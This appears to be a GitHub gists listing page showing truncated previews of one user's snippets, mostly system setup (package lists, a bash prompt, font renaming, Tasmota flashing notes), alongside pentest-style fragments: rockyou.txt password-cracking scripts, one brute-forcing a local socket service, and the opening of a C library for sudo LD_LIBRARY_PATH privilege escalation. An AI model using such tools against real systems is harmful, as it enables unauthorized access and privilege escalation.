This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pip install -U pip | |
cat > /tmp/x << PACKAGES | |
awscli | |
bash-kernel | |
bash_kernel | |
bokeh | |
docutils | |
fastparquet | |
flake8 | |
flask |
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Flash Sonoff Mini with Tasmota | |
# | |
# Download the file tasmota-lite.bin, get the sha256 hash | |
# and make it available via HTTP using NGINX | |
# The device will listen for HTTP Post requests | |
# on TCP/8081 | |
## Get the device ID and OTA status |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Ensure you are evaluating PS1 var instead a command for prompt | |
unset PROMPT_COMMAND | |
# Change these symbols for the ones available on the font | |
# you are using in your terminal. This ones works in Agave Nerd Font. | |
USER_SYM=' ' | |
ROOT_SYM=' ' | |
GIT_SYM='' | |
VENV_SYM='' | |
AWS_SYM='' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
export THREADS=8 | |
export WORDLIST='/opt/wordlists/rockyou.txt' | |
export PREFIX='/tmp/rockyou_' | |
# Generate N wordlists chunks | |
split -n "$THREADS" --numeric-suffixes=1 "$WORDLIST" "$PREFIX" | |
# Function to break the passwords given a list |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import sys | |
import socket | |
from multiprocessing import Pool as pool | |
THREADS = 8 | |
HOST = 'localhost' | |
PORT = 9999 | |
WORDLIST = '/opt/wordlists/rockyou.txt' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
vim-syntastic vim-snippets vim-snipmate vim-ultisnips vim-youcompleteme vim-pathogen vim-airline \ | |
vim-airline-themes vim-ctrlp openjdk-8-jdk openjdk-11-jdk ophcrack hydra medusa nmap \ | |
\smbclient ldap-utils binwalk aircrack-ng cabextract crunch cryptmount disktype exif fatcat foremost \ | |
hashid john nasm netcat p7zip-full parted gparted pdfcrack rarcrack smb-nat tcpdump testdisk tcpxtract \ | |
telnet tshark unar weplab whois hashcat ncrack openvpn qemu-user export qemu-system-arm qemu-system-mips \ | |
qemu-system-x86 qemu-system-arm qemu-system-mips qemu-system-x86 flatpak mesa-utils mesa-utils-extra curl \ | |
wget git pcoip-client plasma-discover-flatpak-backend virt-manager docker.io docker-compose qemu-kvm \ | |
qemu-utils imagemagick python2-dev python3-dev virtualenv python3-pip python3-setuptools python-setuptools \ | |
make build-essential libssl-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev wget curl llvm libncurses5-dev \ | |
xz-utils tk-dev libxml2-dev libxmlsec1-dev libffi-dev liblzma-dev ruby-dev rbenv ruby |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
export _JAVA_OPTIONS=" -Dawt.useSystemAAFontSettings=on \ | |
-Dswing.aatext=true \ | |
-Dswing.defaultlaf=com.sun.java.swing.plaf.gtk.GTKLookAndFeel \ | |
-Dswing.crossplatformlaf=com.sun.java.swing.plaf.gtk.GTKLookAndFeel \ | |
${_JAVA_OPTIONS}" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
for font in *.ttf | |
do | |
new_name=$( | |
fc-query "$font" | | |
grep 'fullname:' | | |
cut -d '"' -f 2 | | |
tr ' ' '_' | |
).ttf |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Compile with gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c | |
Use with sudo LD_LIBRARY_PATH=/tmp apache2 | |
When compiling, find any dependency of target binary and compile with the same name | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
static void hijack() __attribute__((constructor)); |